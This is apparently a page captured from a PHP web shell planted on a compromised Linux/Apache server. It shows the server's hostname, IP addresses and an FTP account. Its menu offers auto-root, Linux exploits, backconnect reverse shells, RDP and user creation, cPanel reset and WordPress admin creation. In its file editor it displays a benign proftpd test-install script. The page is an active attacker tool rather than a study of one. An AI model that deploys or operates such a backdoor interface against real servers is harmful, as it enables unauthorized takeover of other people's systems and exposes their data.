Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
proftpd /
sample-configurations /
[ HOME SHELL ]
Name
Size
Permission
Action
PFTEST.conf.in
1.04
KB
-rw-r--r--
PFTEST.group
15
B
-rw-r--r--
PFTEST.install
1.61
KB
-rwxr-xr-x
PFTEST.passwd
61
B
-rw-r--r--
PFTEST.shadow
34
B
-rw-r--r--
anonymous.conf
3.33
KB
-rw-r--r--
basic.conf
1.87
KB
-rw-r--r--
complex-virtual.conf
10.84
KB
-rw-r--r--
mod_sql.conf
7.97
KB
-rw-r--r--
virtual.conf
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PFTEST.install
#!/bin/sh # # PFTEST.install - setup files for an unprivileged proftpd test # PFTESTDIR=/tmp/PFTEST SRCDIR=./sample-configurations FILELIST="PFTEST.passwd PFTEST.group PFTEST.conf.in" PATH=/usr/bin:/bin export PATH umask 022 # # Preconditions # if [ ! -d ${SRCDIR} ] || [ ! -r ${SRCDIR} ]; then echo "Error: \"${SRCDIR}\" not found." >&2 exit 2 fi for file in ${FILELIST} ; do if [ ! -r ${SRCDIR}/${file} ]; then echo "Error: \"${SRCDIR}/${file}\" not found." >&2 exit 2 fi done if [ -d ${PFTESTDIR} ] || [ -f ${PFTESTDIR} ] || [ -h ${PFTESTDIR} ] \ || [ -b ${PFTESTDIR} ] || [ -c ${PFTESTDIR} ] || [ -p ${PFTESTDIR} ] then echo "Error: \"${PFTESTDIR}\" already exists." >&2 exit 2 fi # # Determine current user and group names # if [ -x /usr/xpg4/bin/id ] && /usr/xpg4/bin/id -un >/dev/null 2>&1 ; then USERNAME=`/usr/xpg4/bin/id -un` GROUPNAME=`/usr/xpg4/bin/id -gn` elif type id >/dev/null && id -un >/dev/null 2>&1 ; then USERNAME=`id -un` GROUPNAME=`id -gn` else # Could try harder... echo "Error: can not determine user and group names." >&2 exit 3 fi # # Install the files # mkdir ${PFTESTDIR} || { echo "Error: mkdir failed." >&2 exit 4 } chmod 755 ${PFTESTDIR} || { echo "Error: chmod failed." >&2 exit 4 } cp -p ${SRCDIR}/PFTEST.passwd ${PFTESTDIR} \ && cp -p ${SRCDIR}/PFTEST.group ${PFTESTDIR} \ && sed -e "s/%User%/${USERNAME}/" \ -e "s/%Group%/${GROUPNAME}/" \ -e "s|%TestDir%|${PFTESTDIR}|" \ ${SRCDIR}/PFTEST.conf.in > ${PFTESTDIR}/PFTEST.conf if [ $? -ne 0 ]; then echo "Error: installation failed." >&2 exit 5 fi echo "Sample test files successfully installed in ${PFTESTDIR}." exit 0
Close